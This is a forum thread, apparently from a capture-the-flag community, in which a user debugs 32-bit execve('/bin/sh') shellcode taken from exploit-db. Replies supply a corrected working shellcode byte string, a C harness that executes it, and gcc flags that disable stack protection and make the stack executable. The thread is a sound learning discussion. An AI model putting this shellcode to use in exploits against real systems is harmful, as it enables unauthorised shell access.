Question about low level shellcode

So I'm doing a htb challenge which requires me to create a buffer overflow with only 30 bytes. I've been experimenting a bit and trying different kinds of shellcode found on the internet. The way I test it is with the following c-code:

#include<stdio.h>
#include<string.h>

main()
{

    unsigned char code[] = "SHELLCODE HERE"; //Moved this line into the main() function, because apperantly, my pc didn't like this variable to be global.


    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}

Now, there a quite a few problems I run into when testing shell code from the internet. First of all, 90% of the shellcodes I try end up in a segfault, and I have no idea why.

For example: The following shellcode was taken from: https://www.exploit-db.com/exploits/44321.

08048060 <_start>:
 8048060:   6a 0b                   push   0xb
 8048062:   58                      pop    eax
 8048063:   53                      push   ebx
 8048064:   68 2f 2f 73 68       push   0x68732f2f
 8048069:   68 2f 62 69 6e       push   0x6e69622f
 804806e:   89 e3                   mov    ebx,esp
 8048070:   cd 80                   int    0x80

When i manually compile and link the assembly code, I get an executable that works exactly as it should (calls /bin/sh). On top of that, when I do an objdump on the executable, i get the exact same bytes as above.

However, as soon as I put the raw bytes into my c-testing program, I get a segfault. Debugging with gdb didn't quite help, I guess because gdb doesn't expect code to be executed from stack.

Could anyone explain why the code won't run from my c-program? Furthermore, could anyone explain why I needed to move the "code" variable inside the main() function (I thought this was strange because every example declares it outside of main, but I get a segfault when doing it)?

Thanks in advance

Comments

  • edited November 21

    1st: Do not use strlen as a method to calculate the length of shellcode. _countof or sizeof would be better here.
    2nd: Have you checked the architecture of shellcode you used? x86/x64?
    3rd: Have you had the stack executable in gcc when you compiled the example given (https://stackoverflow.com/questions/29178445/what-is-the-z-option-for-in-this-gcc-compiler-command)? I think it could be an issue here.

  • Type your comment> @yb4Iym8f88 said:

    1st: Do not use strlen as a method to calculate the length of shellcode. _countof or sizeof would be better here.
    2nd: Have you checked the architecture of shellcode you used? x86/x64?
    3rd: Have you had the stack executable in gcc when you compiled the example given (https://stackoverflow.com/questions/29178445/what-is-the-z-option-for-in-this-gcc-compiler-command)? I think it could be an issue here.

    1: Ok, I will in the future.
    2: I compiled the shellcode by doing the following:
    - write the assembly instructions to a file called shellcode.asm
    - compile shellcode.asm into shellcode.o with the following command: nasm -f elf32 shellcode.asm -o shellcode.o
    - link shellcode.o to an executable with the following command: ld -m elf_i386 -s shellcode.o -o shellcode
    - extract the raw machinecode bytes by using the following command: objdump -d shellcode

    3: after I extracted the bytes as described above, I pasted them in the c-code from my first post. Then i compiled the c-file with the following command: gcc tst.c -o shell -fno-stack-protector -z execstack -no-pie -m32. I expected that the executable would give me an sh shell, but instead it gives a segfault. When i run the binary which was created by linking the shellcode.o file(generated by nasm), it works just as intended. It might very well be that the assembly I used just isn't correct, since I have found another example shellcode which did work, only it contained to many bytes to be useful to me.

    What am I missing here? I think i did everything correctly right? Sorry for the long response, just trying to be as clear as possible.

  • How have you generated the shellcodes?

  • This one is working:

    #include<stdio.h>
    #include<string.h>
    
    main()
    {
    
        unsigned char code[] = "\x31\xd2\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; 
    
        printf("Shellcode Length:  %d\n", sizeof(code));
    
        int (*ret)() = (int(*)())code;
    
        ret();
    }
    

    Compiled as gcc -fno-stack-protector -z execstack -m32 -o test test.c

    The original shellcode from https://www.exploit-db.com/exploits/44321 did not clear edx register -- I added XOR EDX, EDX -> "\x31\xd2" before the original shellcode string

  • Type your comment> @yb4Iym8f88 said:
    > This one is working:
    >
    > #include<stdio.h>#include<string.h>main(){ unsigned char code[] = "\x31\xd2\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; printf("Shellcode Length: %d\n", sizeof(code)); int (*ret)() = (int(*)())code; ret();}
    >
    > Compiled as gcc -fno-stack-protector -z execstack -m32 -o test test.c
    >
    > The original shellcode from https://www.exploit-db.com/exploits/44321 did not clear edx register -- I added XOR EDX, EDX -> "\x31\xd2" before the original shellcode string

    Ahh thanks! so the shellcode was incorrect. If you don't mind me asking, why exactly does the "code" variable have to be inside the main() function? When looking up example code online, everyone declares it outside of main (for example: https://gist.github.com/securitytube/5318838), but I don't understand why, since the code wouldn't be on stack right? When i declare the variable outside main() I get a segfault.

    Huge thanks already, you brought me a lot closer to solving the challenge.
  • If the code variable is inside the main -- it is allocated on stack, otherwise -- in .data section of the ELF.
    With -z execstack you have made the stack to be executable, but .data section remains nonexecutable, so when you call the code from the .data section it crashes.

  • Type your comment> @yb4Iym8f88 said:

    If the code variable is inside the main -- it is allocated on stack, otherwise -- in .data section of the ELF.
    With -z execstack you have made the stack to be executable, but .data section remains nonexecutable, so when you call the code from the .data section it crashes.

    Yeah that makes sense, strange that all the examples online declare it outside of main... Anyways, thanks for helping me out! +rep

  • edited November 21

    I think maybe it depends on the compiler and its version, where it puts global variables, or in ancient times all section could be executable, so...
    Try to analyze the both executables you were getting in IDA or Ghidra to see the difference

Sign In to comment.